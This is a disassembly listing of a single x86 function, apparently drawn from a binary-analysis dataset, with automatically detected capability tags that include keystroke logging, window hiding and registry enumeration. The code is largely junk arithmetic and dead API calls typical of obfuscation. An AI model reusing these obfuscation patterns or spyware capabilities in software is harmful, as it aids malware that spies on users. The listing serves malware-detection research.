Function at 0x46f983
Capabilities:
Check os version
Create directory
Extract resource via kernel32 functions
Get common file path
Get disk size
Hide graphical window
Log keystrokes via polling
Query or enumerate registry key
Query service status
Suspend thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3b20
call fcn.004a9410
push esi
push edi
mov dword [ebp - 0x914], 0xfffffffb
mov dword [ebp - 0x35cc], 0xb7928fbc
mov dword [ebp - 0x668], 0
jmp 0x46f9bf
mov eax, dword [ebp - 0x668]
inc eax
mov dword [ebp - 0x668], eax
cmp dword [ebp - 0x668], 2
jge 0x46f9db
mov eax, dword [ebp - 0x668]
mov dword [ebp + eax*4 - 0x3a40], 1
jmp 0x46f9b2
mov dword [ebp - 0x914], 0xffffffe7
jmp 0x46f9f4
mov eax, dword [ebp - 0x914]
inc eax
mov dword [ebp - 0x914], eax
cmp dword [ebp - 0x914], 0xffffffed
jl 0x46faa4
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2b4], 0xfffffffe
jmp 0x46fa24
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0x11
jne 0x46fa61
mov byte [ebp - 0x413], 0
movzx eax, byte [ebp - 0x413]
test eax, eax
je 0x46fa5f
push 0x9d0
push 0x1527
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
jmp 0x46fa17
mov dword [ebp - 0x2b4], 1
jmp 0x46fa7a
mov eax, dword [ebp - 0x2b4]
dec eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0
jl 0x46fa9f
mov byte [ebp - 0x3c9], 0
movzx eax, byte [ebp - 0x3c9]
test eax, eax
je 0x46fa9d
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
jmp 0x46fa6d
jmp 0x46f9e7
push 2
lea ecx, [ebp - 0x2d18]
call fcn.00433638
mov dword [ebp - 0xe0], 0x9bdba76a
mov dword [ebp - 0x2358], 1
mov dword [ebp - 0x12c], 0
jmp 0x46fade
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 2
jge 0x46fb00
push dword [ebp - 0x12c]
lea ecx, [ebp - 0x2d18]
call fcn.00433726
mov dword [eax], 7
jmp 0x46fad1
mov dword [ebp - 0x12c], 0
jmp 0x46fb19
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 2
jge 0x46fb35
mov eax, dword [ebp - 0x12c]
mov dword [ebp + eax*4 - 0x3a50], 0x6dfe535
jmp 0x46fb0c
mov dword [ebp - 0xe0], 1
jmp 0x46fb4e
mov eax, dword [ebp - 0xe0]
dec eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0
jl 0x46fee1
mov dword [ebp - 0x550], 0x2d7b
mov dword [ebp - 0x22b8], 0xffffffff
mov dword [ebp - 0x2600], 0x6237
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0xe0], eax
jge 0x46fb93
mov dword [ebp - 0x1f04], 1
jmp 0x46fb9a
and dword [ebp - 0x1f04], 0
cmp dword [ebp - 0x1f04], 0xc36b
je 0x46fbb2
mov dword [ebp - 0x22b0], 1
jmp 0x46fbb9
and dword [ebp - 0x22b0], 0
mov eax, dword [ebp - 0x22b0]
add eax, 0x6fa6
mov dword [ebp - 0x22b8], eax
jne 0x46fbd8
mov dword [ebp - 0x22c0], 1
jmp 0x46fbdf
and dword [ebp - 0x22c0], 0
cmp dword [ebp - 0x22c0], 0x2d29ed7d
jge 0x46fbf7
mov dword [ebp - 0x22c8], 1
jmp 0x46fbfe
and dword [ebp - 0x22c8], 0
mov eax, dword [ebp - 0x550]
cmp dword [ebp - 0x22c8], eax
jle 0x46fc18
mov dword [ebp - 0x22d0], 1
jmp 0x46fc1f
and dword [ebp - 0x22d0], 0
cmp dword [ebp - 0x22d0], 0xbd90
jne 0x46fc37
mov dword [ebp - 0x22d8], 1
jmp 0x46fc3e
and dword [ebp - 0x22d8], 0
mov eax, dword [ebp - 0x550]
cmp eax, dword [ebp - 0x22d8]
jg 0x46fc58
mov dword [ebp - 0x22e0], 1
jmp 0x46fc5f
and dword [ebp - 0x22e0], 0
cmp dword [ebp - 0x22e0], 0xfffffff9
jle 0x46fc74
mov dword [ebp - 0x22e8], 1
jmp 0x46fc7b
and dword [ebp - 0x22e8], 0
mov eax, dword [ebp - 0x22e8]
add eax, 4
cmp dword [ebp - 0x550], eax
jle 0x46fc98
mov dword [ebp - 0x2320], 1
jmp 0x46fc9f
and dword [ebp - 0x2320], 0
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0x2320], eax
jl 0x46fcb9
mov dword [ebp - 0x2328], 1
jmp 0x46fcc0
and dword [ebp - 0x2328], 0
mov eax, dword [ebp - 0x550]
cmp dword [ebp - 0x2328], eax
jl 0x46fce0
mov eax, 0x25bb
test eax, eax
jne 0x46fce0
and dword [ebp - 0x2330], 0
jmp 0x46fcea
mov dword [ebp - 0x2330], 1
mov eax, dword [ebp - 0x2600]
cmp dword [ebp - 0x2330], eax
je 0x46fd04
mov dword [ebp - 0x2338], 1
jmp 0x46fd0b
and dword [ebp - 0x2338], 0
imul eax, dword [ebp - 0x2338], 9
cmp eax, dword [ebp - 0xe0]
jne 0x46fd26
mov dword [ebp - 0x2340], 1
jmp 0x46fd2d
and dword [ebp - 0x2340], 0
mov eax, dword [ebp - 0x550]
add eax, dword [ebp - 0x2340]
cmp eax, 0x739032f8
jl 0x46fd4c
mov dword [ebp - 0x2348], 1
jmp 0x46fd53
and dword [ebp - 0x2348], 0
push 0
lea ecx, [ebp - 0x2d18]
call fcn.00433726
mov eax, dword [eax]
cmp eax, dword [ebp - 0x2348]
jg 0x46fd76
mov dword [ebp - 0x2350], 1
jmp 0x46fd7d
and dword [ebp - 0x2350], 0
mov eax, dword [ebp - 0x2350]
mov dword [ebp - 0x2358], eax
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0x2358], eax
je 0x46fda3
mov dword [ebp - 0x2360], 1
jmp 0x46fdaa
and dword [ebp - 0x2360], 0
cmp dword [ebp - 0x2360], 0xb721
jle 0x46fdc2
mov dword [ebp - 0x2368], 1
jmp 0x46fdc9
and dword [ebp - 0x2368], 0
push 1
lea ecx, [ebp - 0x2d18]
call fcn.00433726
mov ecx, dword [ebp - 0x2368]
cmp ecx, dword [eax]
je 0x46fdec
mov dword [ebp - 0x2370], 1
jmp 0x46fdf3
and dword [ebp - 0x2370], 0
mov eax, dword [ebp - 0xe0]
cmp eax, dword [ebp - 0x2370]
jle 0x46fe0d
mov dword [ebp - 0x2378], 1
jmp 0x46fe14
and dword [ebp - 0x2378], 0
cmp dword [ebp - 0x2378], 0x9029efec
ja 0x46fe2c
mov dword [ebp - 0x2380], 1
jmp 0x46fe33
and dword [ebp - 0x2380], 0
cmp dword [ebp - 0x2380], 0xe4fcd58f
jb 0x46fe5b
mov dword [ebp - 0x2388], 0
mov eax, dword [ebp - 0x2388]
inc eax
mov dword [ebp - 0x2388], eax
jmp 0x46fedc
mov dword [ebp - 0x3454], 0
push 4
lea ecx, [ebp - 0x2fb4]
call fcn.00433638
mov dword [ebp - 0x654], 0
jmp 0x46fe8b
mov eax, dword [ebp - 0x654]
inc eax
mov dword [ebp - 0x654], eax
cmp dword [ebp - 0x654], 4
jge 0x46fead
push dword [ebp - 0x654]
lea ecx, [ebp - 0x2fb4]
call fcn.00433726
mov dword [eax], 0xfffffffd
jmp 0x46fe7e
push 3
lea ecx, [ebp - 0x2fb4]
call fcn.00433726
mov dword [ebp - 0x2390], eax
mov eax, dword [ebp - 0x2390]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x2390]
mov dword [ecx], eax
lea ecx, [ebp - 0x2fb4]
call fcn.0043370a
jmp 0x46fb41
lea ecx, [ebp - 0x2d18]
call fcn.0043370a
mov dword [ebp - 0x2f8], 9
mov dword [ebp - 0x264], 0xfffffffc
mov dword [ebp - 0x2670], 0xc33c017f
push 2
lea ecx, [ebp - 0x2558]
call fcn.00433638
mov dword [ebp - 0x82c], 0
mov dword [ebp - 0x1f8], 0
jmp 0x46ff3a
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 2
jge 0x46ff5c
push dword [ebp - 0x1f8]
lea ecx, [ebp - 0x2558]
call fcn.00433726
mov dword [eax], 0x15bb0028
jmp 0x46ff2d
mov dword [ebp - 0x1f8], 0
jmp 0x46ff75
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 2
jge 0x46ff91
mov eax, dword [ebp - 0x1f8]
mov dword [ebp + eax*4 - 0x3734], 0xe3113783
jmp 0x46ff68
mov dword [ebp - 0x2f8], 0
jmp 0x46ffaa
mov eax, dword [ebp - 0x2f8]
dec eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0xfffffff7
jg 0x47023e
mov dword [ebp - 0x65c], 0xffffffff
mov dword [ebp - 0x23a8], 0x92c5eb20
mov dword [ebp - 0x2678], 1
mov dword [ebp - 0x5c0], 0xe3f2f34e
mov dword [ebp - 0x23b8], 9
mov dword [ebp - 0x65c], 1
mov eax, dword [ebp - 0x65c]
mov dword [ebp - 0x264], eax
mov eax, dword [ebp - 0x2f8]
cmp dword [ebp - 0x23a8], eax
jle 0x470019
mov dword [ebp - 0x23c8], 1
jmp 0x470020
and dword [ebp - 0x23c8], 0
mov eax, dword [ebp - 0x82c]
mov ecx, dword [ebp - 0x82c]
inc ecx
mov dword [ebp - 0x82c], ecx
test eax, eax
jne 0x47003e
cmp dword [ebp - 0x65c], 0
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0x38a0], eax
cmp dword [ebp - 0x2f8], 0xfffe
jl 0x470062
mov dword [ebp - 0x2668], 1
jmp 0x470069
and dword [ebp - 0x2668], 0
push 0
lea ecx, [ebp - 0x2558]
call fcn.00433726
mov ecx, dword [ebp - 0x23b8]
cmp dword [eax], ecx
jge 0x47009c
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3734], 0
je 0x47009c
mov dword [ebp - 0x2398], 1
jmp 0x4700a3
and dword [ebp - 0x2398], 0
mov eax, dword [ebp - 0x5c0]
push 0
lea ecx, [ebp - 0x2558]
call fcn.00433726
cmp dword [eax], 0
jne 0x4700cd
mov eax, 0xd3610cb4
test eax, eax
jne 0x4700cd
and dword [ebp - 0x23a0], 0
jmp 0x4700d7
mov dword [ebp - 0x23a0], 1
mov esi, dword [ebp - 0x23a0]
sub esi, dword [ebp - 0x23a8]
push 0
lea ecx, [ebp - 0x2558]
call fcn.00433726
imul esi, dword [eax]
cmp esi, dword [ebp - 0x2670]
jg 0x470107
mov dword [ebp - 0x23b0], 1
jmp 0x47010e
and dword [ebp - 0x23b0], 0
cmp dword [ebp - 0x23b0], 6
je 0x470123
mov dword [ebp - 0xc48], 1
jmp 0x47012a
and dword [ebp - 0xc48], 0
push 0
lea ecx, [ebp - 0x2558]
call fcn.00433726
mov ecx, dword [ebp - 0xc48]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2678]
cmp dword [ebp - 0xc48], eax
jg 0x470159
mov dword [ebp - 0x23c0], 1
jmp 0x470160
and dword [ebp - 0x23c0], 0
mov eax, dword [ebp - 0x23b8]
cmp dword [ebp - 0x23c0], eax
jl 0x47017a
mov dword [ebp - 0x2424], 1
jmp 0x470181
and dword [ebp - 0x2424], 0
mov eax, dword [ebp - 0x65c]
mov dword [ebp - 0x264], eax
mov eax, dword [ebp - 0x23c8]
add eax, dword [ebp - 0x2424]
cmp dword [ebp - 0x264], eax
jge 0x47022e
mov byte [ebp - 0x435], 0
movzx eax, byte [ebp - 0x435]
test eax, eax
je 0x4701d0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x78f
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov dword [ebp - 0x5c0], 0
jmp 0x4701e9
mov eax, dword [ebp - 0x5c0]
inc eax
mov dword [ebp - 0x5c0], eax
cmp dword [ebp - 0x5c0], 1
jg 0x47022c
mov dword [ebp - 0x264], 0
jmp 0x47020b
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 2
jge 0x47022a
push dword [ebp - 0x264]
lea ecx, [ebp - 0x2558]
call fcn.00433726
and dword [eax], 0
jmp 0x4701fe
jmp 0x4701dc
jmp 0x470239
cmp dword [ebp - 0x2f8], 0
je 0x470239
jmp 0x47023e
jmp 0x46ff9d
lea ecx, [ebp - 0x2558]
call fcn.0043370a
mov dword [ebp - 0x84c], 0xfffffffb
push 2
lea ecx, [ebp - 0xa48]
call fcn.00433638
mov dword [ebp - 0x134], 0xfffffff9
mov dword [ebp - 0x98c], 0
jmp 0x470283
mov eax, dword [ebp - 0x98c]
inc eax
mov dword [ebp - 0x98c], eax
cmp dword [ebp - 0x98c], 2
jge 0x4702a5
push dword [ebp - 0x98c]
lea ecx, [ebp - 0xa48]
call fcn.00433726
mov dword [eax], 0xfffffff7
jmp 0x470276
mov dword [ebp - 0x134], 1
jmp 0x4702be
mov eax, dword [ebp - 0x134]
dec eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
jl 0x4704aa
mov dword [ebp - 0x664], 0
jmp 0x4702e4
mov eax, dword [ebp - 0x664]
inc eax
mov dword [ebp - 0x664], eax
cmp dword [ebp - 0x664], 1
jge 0x470300
mov eax, dword [ebp - 0x664]
mov dword [ebp + eax*4 - 0x2680], 0x5e2de4bf
jmp 0x4702d7
push dword [ebp - 0x134]
lea ecx, [ebp - 0xa48]
call fcn.00433726
cmp dword [eax], 0xe66c
jne 0x470325
mov dword [ebp - 0x242c], 1
jmp 0x47032c
and dword [ebp - 0x242c], 0
push dword [ebp - 0x134]
lea ecx, [ebp - 0xa48]
call fcn.00433726
mov esi, eax
push 1
lea ecx, [ebp - 0xa48]
call fcn.00433726
mov ecx, dword [esi]
cmp ecx, dword [eax]
jl 0x47035e
mov dword [ebp - 0x2434], 1
jmp 0x470365
and dword [ebp - 0x2434], 0
mov eax, dword [ebp - 0x242c]
add eax, dword [ebp - 0x2434]
jne 0x470385
mov eax, 0xea21e1d8
test eax, eax
jne 0x470385
and dword [ebp - 0x243c], 0
jmp 0x47038f
mov dword [ebp - 0x243c], 1
push dword [ebp - 0x134]
lea ecx, [ebp - 0xa48]
call fcn.00433726
mov esi, dword [eax]
add esi, dword [ebp - 0x243c]
push 0
lea ecx, [ebp - 0xa48]
call fcn.00433726
cmp esi, dword [eax]
jge 0x4703c5
mov dword [ebp - 0x2444], 1
jmp 0x4703cc
and dword [ebp - 0x2444], 0
push 1
lea ecx, [ebp - 0xa48]
call fcn.00433726
mov ecx, dword [ebp - 0x2444]
add ecx, dword [eax]
imul esi, ecx, 0
push dword [ebp - 0x134]
lea ecx, [ebp - 0xa48]
call fcn.00433726
cmp esi, dword [eax]
jge 0x470405
mov dword [ebp - 0x244c], 1
jmp 0x47040c
and dword [ebp - 0x244c], 0
push 1
lea ecx, [ebp - 0xa48]
call fcn.00433726
mov ecx, dword [ebp - 0x244c]
cmp ecx, dword [eax]
jg 0x47042f
mov dword [ebp - 0x2484], 1
jmp 0x470436
and dword [ebp - 0x2484], 0
push dword [ebp - 0x134]
lea ecx, [ebp - 0xa48]
call fcn.00433726
mov eax, dword [eax]
cmp eax, dword [ebp - 0x2484]
jne 0x47045d
mov dword [ebp - 0x23d0], 1
jmp 0x470464
and dword [ebp - 0x23d0], 0
cmp dword [ebp - 0x23d0], 0x9737e0d1
ja 0x47047c
mov dword [ebp - 0xd90], 1
jmp 0x470483
and dword [ebp - 0xd90], 0
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x2680]
add esi, dword [ebp - 0xd90]
push 0
lea ecx, [ebp - 0xa48]
call fcn.00433726
mov dword [eax], esi
jmp 0x4702b1
lea ecx, [ebp - 0xa48]
call fcn.0043370a
mov dword [ebp - 0xc50], 0x67215912
mov dword [ebp - 0xc58], 0x49c9fb37
mov dword [ebp - 0x674], 0x83989226
mov dword [ebp - 0x308], 0
mov dword [ebp - 0x83c], 1
mov dword [ebp - 0x26a8], 0x33037736
mov dword [ebp - 0x45c], 0
mov dword [ebp - 0x345c], 0x2046130
mov dword [ebp - 0x1b38], 0xffffffff
mov dword [ebp - 0x2698], 1
mov dword [ebp - 0x26a0], 0xc6a002b5
mov dword [ebp - 0xbd8], 0xc279a1af
mov dword [ebp - 0x26b0], 0x3ec6b4e
mov dword [ebp - 0x834], 0
jmp 0x470550
mov eax, dword [ebp - 0x834]
inc eax
mov dword [ebp - 0x834], eax
cmp dword [ebp - 0x834], 1
jge 0x47056c
mov eax, dword [ebp - 0x834]
mov dword [ebp + eax*4 - 0x228], 1
jmp 0x470543
cmp dword [ebp - 0xc50], 0
jne 0x470593
mov eax, dword [ebp - 0xc50]
mov dword [ebp - 0xc58], eax
cmp dword [ebp - 0xc58], 0
jne 0x470593
and dword [ebp - 0x1b28], 0
jmp 0x47059d
mov dword [ebp - 0x1b28], 1
cmp dword [ebp - 0xc50], 0
jne 0x470609
cmp dword [ebp - 0x83c], 0
jne 0x4705c8
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x228], 0
jne 0x4705c8
and dword [ebp - 0x2688], 0
jmp 0x4705d2
mov dword [ebp - 0x2688], 1
mov eax, dword [ebp - 0x45c]
imul eax, dword [ebp - 0x674]
mov ecx, dword [ebp - 0x45c]
inc ecx
mov dword [ebp - 0x45c], ecx
test eax, eax
jne 0x470609
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x228], 0
jne 0x470609
and dword [ebp - 0xd98], 0
jmp 0x470613
mov dword [ebp - 0xd98], 1
mov eax, dword [ebp - 0x1b28]
cmp eax, dword [ebp - 0xd98]
jne 0x47062d
mov dword [ebp - 0x1b30], 1
jmp 0x470634
and dword [ebp - 0x1b30], 0
cmp dword [ebp - 0x1b30], 0x5d64
jg 0x47064c
mov dword [ebp - 0xda0], 1
jmp 0x470653
and dword [ebp - 0xda0], 0
mov eax, dword [ebp - 0x83c]
cmp dword [ebp - 0xda0], eax
je 0x47066d
mov dword [ebp - 0x2690], 1
jmp 0x470674
and dword [ebp - 0x2690], 0
mov eax, dword [ebp - 0x83c]
mov dword [ebp - 0x36e0], eax
mov eax, 0x5a74d4b4
test eax, eax
je 0x470784
mov dword [ebp - 0x3464], 0x6ea3d881
mov dword [ebp - 0x91c], 0x99612158
mov dword [ebp - 0x396c], 0
mov dword [ebp - 0x346c], 0x7f9f41ad
mov dword [ebp - 0x36f0], 0xffffffff
push 3
lea ecx, [ebp - 0x362c]
call fcn.00433638
mov dword [ebp - 0x3474], 0xb48fe2d5
mov dword [ebp - 0x38a8], 0xc0d357e8
mov dword [ebp - 0x66c], 0
jmp 0x4706f9
mov eax, dword [ebp - 0x66c]
inc eax
mov dword [ebp - 0x66c], eax
cmp dword [ebp - 0x66c], 3
jge 0x47071b
push dword [ebp - 0x66c]
lea ecx, [ebp - 0x362c]
call fcn.00433726
mov dword [eax], 2
jmp 0x4706ec
mov eax, dword [ebp - 0x1b38]
dec eax
mov dword [ebp - 0x1b38], eax
mov dword [ebp - 0x91c], 0
jmp 0x470741
mov eax, dword [ebp - 0x91c]
dec eax
mov dword [ebp - 0x91c], eax
cmp dword [ebp - 0x91c], 0
jl 0x470774
mov byte [ebp - 0x3d1], 0
movzx eax, byte [ebp - 0x3d1]
test eax, eax
je 0x470772
push 0xe7c
push 0
push 0
push 0x32e
push 0
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
jmp 0x470734
lea ecx, [ebp - 0x362c]
call fcn.0043370a
jmp 0x470a19
mov dword [ebp - 0x558], 0x3a2c
mov dword [ebp - 0x300], 0
mov dword [ebp - 0xdd8], 0x60280e44
mov dword [ebp - 0x1b60], 0xffffffff
mov eax, dword [ebp - 0x2698]
neg eax
je 0x470880
mov eax, dword [ebp - 0x26a0]
cmp dword [ebp - 0x558], eax
jge 0x4707d4
mov dword [ebp - 0xdb8], 1
jmp 0x4707db
and dword [ebp - 0xdb8], 0
mov eax, dword [ebp - 0x45c]
cmp dword [ebp - 0xc58], eax
jg 0x4707f5
mov dword [ebp - 0xda8], 1
jmp 0x4707fc
and dword [ebp - 0xda8], 0
mov eax, dword [ebp - 0x674]
cmp dword [ebp - 0xda8], eax
jne 0x470816
mov dword [ebp - 0x1b40], 1
jmp 0x47081d
and dword [ebp - 0x1b40], 0
mov eax, dword [ebp - 0x674]
cmp dword [ebp - 0x1b40], eax
jl 0x470837
mov dword [ebp - 0xdb0], 1
jmp 0x47083e
and dword [ebp - 0xdb0], 0
mov eax, dword [ebp - 0x558]
cmp dword [ebp - 0xdb0], eax
jne 0x470858
mov dword [ebp - 0x1b48], 1
jmp 0x47085f
and dword [ebp - 0x1b48], 0
mov eax, dword [ebp - 0x1b48]
mov dword [ebp - 0x300], eax
mov eax, dword [ebp - 0x300]
cmp dword [ebp - 0xdb8], eax
jg 0x470880
cmp dword [ebp - 0x300], 0
push 0xfffffffffffffff9
pop eax
cmp eax, 1
ja 0x470894
mov dword [ebp - 0x1b50], 1
jmp 0x47089b
and dword [ebp - 0x1b50], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x228]
sub eax, dword [ebp - 0x1b50]
cmp eax, dword [ebp - 0x558]
jge 0x4708c2
mov dword [ebp - 0xdc0], 1
jmp 0x4708c9
and dword [ebp - 0xdc0], 0
mov eax, dword [ebp - 0xdc0]
mov dword [ebp - 0x26a8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x228]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x228]
cmp dword [ebp - 0x300], eax
jl 0x470903
mov dword [ebp - 0x1b58], 1
jmp 0x47090a
and dword [ebp - 0x1b58], 0
mov eax, dword [ebp - 0x300]
cmp eax, dword [ebp - 0x1b58]
jle 0x470924
mov dword [ebp - 0xdc8], 1
jmp 0x47092b
and dword [ebp - 0xdc8], 0
mov eax, dword [ebp - 0xdc8]
mov dword [ebp - 0x1b60], eax
mov eax, dword [ebp - 0x1b60]
add eax, dword [ebp - 0x300]
je 0x47095a
cmp dword [ebp - 0x300], 0
je 0x47095a
mov dword [ebp - 0xdd0], 1
jmp 0x470961
and dword [ebp - 0xdd0], 0
cmp dword [ebp - 0xdd0], 0x6b7de7e8
jl 0x470979
mov dword [ebp - 0x1b68], 1
jmp 0x470980
and dword [ebp - 0x1b68], 0
mov eax, dword [ebp - 0x1b68]
mov dword [ebp - 0x308], eax
mov eax, dword [ebp - 0x308]
mov dword [ebp - 0x347c], eax
mov eax, dword [ebp - 0x558]
mov dword [ebp - 0x3700], eax
mov eax, dword [ebp - 0x674]
mov ecx, dword [ebp - 0x45c]
lea eax, [eax + ecx + 0x6f6a0f30]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x228]
jge 0x4709d2
mov dword [ebp - 0x1b70], 1
jmp 0x4709d9
and dword [ebp - 0x1b70], 0
mov eax, dword [ebp - 0x558]
mov dword [ebp - 0xdd8], eax
mov eax, dword [ebp - 0xdd8]
cmp eax, dword [ebp - 0x1b70]
jge 0x4709ff
mov dword [ebp - 0xde0], 1
jmp 0x470a06
and dword [ebp - 0xde0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xde0]
mov dword [ebp + eax - 0x228], ecx
mov eax, 0xc63c
test eax, eax
je 0x470ac3
cmp dword [ebp - 0xbd8], 0
je 0x470abc
mov eax, dword [ebp - 0x308]
mov ecx, dword [ebp - 0x83c]
lea eax, [eax + ecx - 1]
cmp eax, dword [ebp - 0x308]
jl 0x470a57
mov dword [ebp - 0x1b78], 1
jmp 0x470a5e
and dword [ebp - 0x1b78], 0
mov eax, dword [ebp - 0x308]
mov dword [ebp - 0xbd8], eax
mov eax, dword [ebp - 0xbd8]
sub eax, dword [ebp - 0x1b78]
je 0x470a94
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x228], 0
je 0x470a94
mov dword [ebp - 0xde8], 1
jmp 0x470a9b
and dword [ebp - 0xde8], 0
mov eax, dword [ebp - 0x45c]
sub eax, dword [ebp - 0xde8]
cmp eax, 0xdf0d
jl 0x470abc
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x228], 0
cmp dword [ebp - 0x308], 0
mov eax, dword [ebp - 0x26b0]
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x3484], 0xb7928fbc
mov dword [ebp - 0x318], 0xfc0
mov dword [ebp - 0x310], 0x8d020bd2
mov dword [ebp - 0x26b8], 0x4902314a
mov dword [ebp - 0x294], 0
mov dword [ebp - 0xa7c], 0xffffffff
push 2
lea ecx, [ebp - 0x363c]
call fcn.00433638
mov dword [ebp - 0x13c], 0
jmp 0x470b31
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 2
jge 0x470b4d
mov eax, dword [ebp - 0x13c]
mov dword [ebp + eax*4 - 0xd00], 0x1705
jmp 0x470b24
mov dword [ebp - 0x13c], 0
jmp 0x470b66
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 2
jge 0x470b88
push dword [ebp - 0x13c]
lea ecx, [ebp - 0x363c]
call fcn.00433726
mov dword [eax], 0x233967be
jmp 0x470b59
mov eax, dword [ebp - 0x310]
imul eax, dword [ebp - 0x318]
imul eax, dword [ebp - 0x26b8]
test eax, eax
jne 0x470bb9
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd00], 0
jne 0x470bb9
and dword [ebp - 0x1b80], 0
jmp 0x470bc3
mov dword [ebp - 0x1b80], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd00]
cmp eax, dword [ebp - 0x1b80]
jg 0x470be4
mov dword [ebp - 0xdf0], 1
jmp 0x470beb
and dword [ebp - 0xdf0], 0
mov eax, dword [ebp - 0x294]
add eax, dword [ebp - 0xdf0]
cmp eax, 0x992f
jle 0x470c0a
mov dword [ebp - 0x1b88], 1
jmp 0x470c11
and dword [ebp - 0x1b88], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd00]
cmp eax, dword [ebp - 0x1b88]
je 0x470c32
mov dword [ebp - 0xdf8], 1
jmp 0x470c39
and dword [ebp - 0xdf8], 0
mov eax, dword [ebp - 0xdf8]
mov dword [ebp - 0x294], eax
mov eax, dword [ebp - 0x294]
add eax, dword [ebp - 0x310]
cmp dword [ebp - 0x310], eax
je 0x470c65
mov dword [ebp - 0x1b90], 1
jmp 0x470c6c
and dword [ebp - 0x1b90], 0
mov eax, dword [ebp - 0x318]
cmp eax, dword [ebp - 0x1b90]
jle 0x470c86
mov dword [ebp - 0xe00], 1
jmp 0x470c8d
and dword [ebp - 0xe00], 0
mov eax, dword [ebp - 0xe00]
inc eax
cmp eax, 0xa69919c4
jne 0x470ca7
mov dword [ebp - 0x1b98], 1
jmp 0x470cae
and dword [ebp - 0x1b98], 0
imul eax, dword [ebp - 0x1b98], 0xe2b7
imul eax, dword [ebp - 0x310]
cmp eax, dword [ebp - 0x310]
jle 0x470f6a
mov dword [ebp - 0x67c], 0xc09
mov dword [ebp - 0xb0], 0x783de769
mov dword [ebp - 0x9e4], 0x426cefc6
mov dword [ebp - 0x288c], 0
cmp dword [ebp - 0xa7c], 0
jne 0x470eda
cmp dword [ebp - 0xb0], 0
jne 0x470e78
mov eax, dword [ebp - 0xb0]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0xd00]
jne 0x470d34
cmp dword [ebp - 0xb0], 0
jne 0x470d34
and dword [ebp - 0xe08], 0
jmp 0x470d3e
mov dword [ebp - 0xe08], 1
mov eax, dword [ebp - 0x294]
mov dword [ebp - 0xa7c], eax
mov eax, dword [ebp - 0xa7c]
cmp eax, dword [ebp - 0xe08]
jge 0x470d64
mov dword [ebp - 0x1ba0], 1
jmp 0x470d6b
and dword [ebp - 0x1ba0], 0
mov eax, dword [ebp - 0xb0]
cmp dword [ebp - 0x1ba0], eax
jl 0x470d85
mov dword [ebp - 0xe10], 1
jmp 0x470d8c
and dword [ebp - 0xe10], 0
mov eax, dword [ebp - 0xb0]
cmp dword [ebp - 0xe10], eax
jle 0x470da6
mov dword [ebp - 0x26c0], 1
jmp 0x470dad
and dword [ebp - 0x26c0], 0
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x3924], eax
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x9e4], eax
mov eax, dword [ebp - 0x9e4]
mov dword [ebp - 0x348c], eax
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x3710], eax
mov eax, dword [ebp - 0x310]
mov dword [ebp - 0x3494], eax
xor eax, eax
inc eax
jne 0x470dfe
push 2
pop eax
test eax, eax
jne 0x470dfe
and dword [ebp - 0x1ba8], 0
jmp 0x470e08
mov dword [ebp - 0x1ba8], 1
mov eax, dword [ebp - 0xb0]
imul eax, dword [ebp - 0x1ba8]
cmp eax, 0xfffffffd
jg 0x470e26
mov dword [ebp - 0xe18], 1
jmp 0x470e2d
and dword [ebp - 0xe18], 0
mov eax, dword [ebp - 0xb0]
cmp dword [ebp - 0xe18], eax
jle 0x470e47
mov dword [ebp - 0x1bb0], 1
jmp 0x470e4e
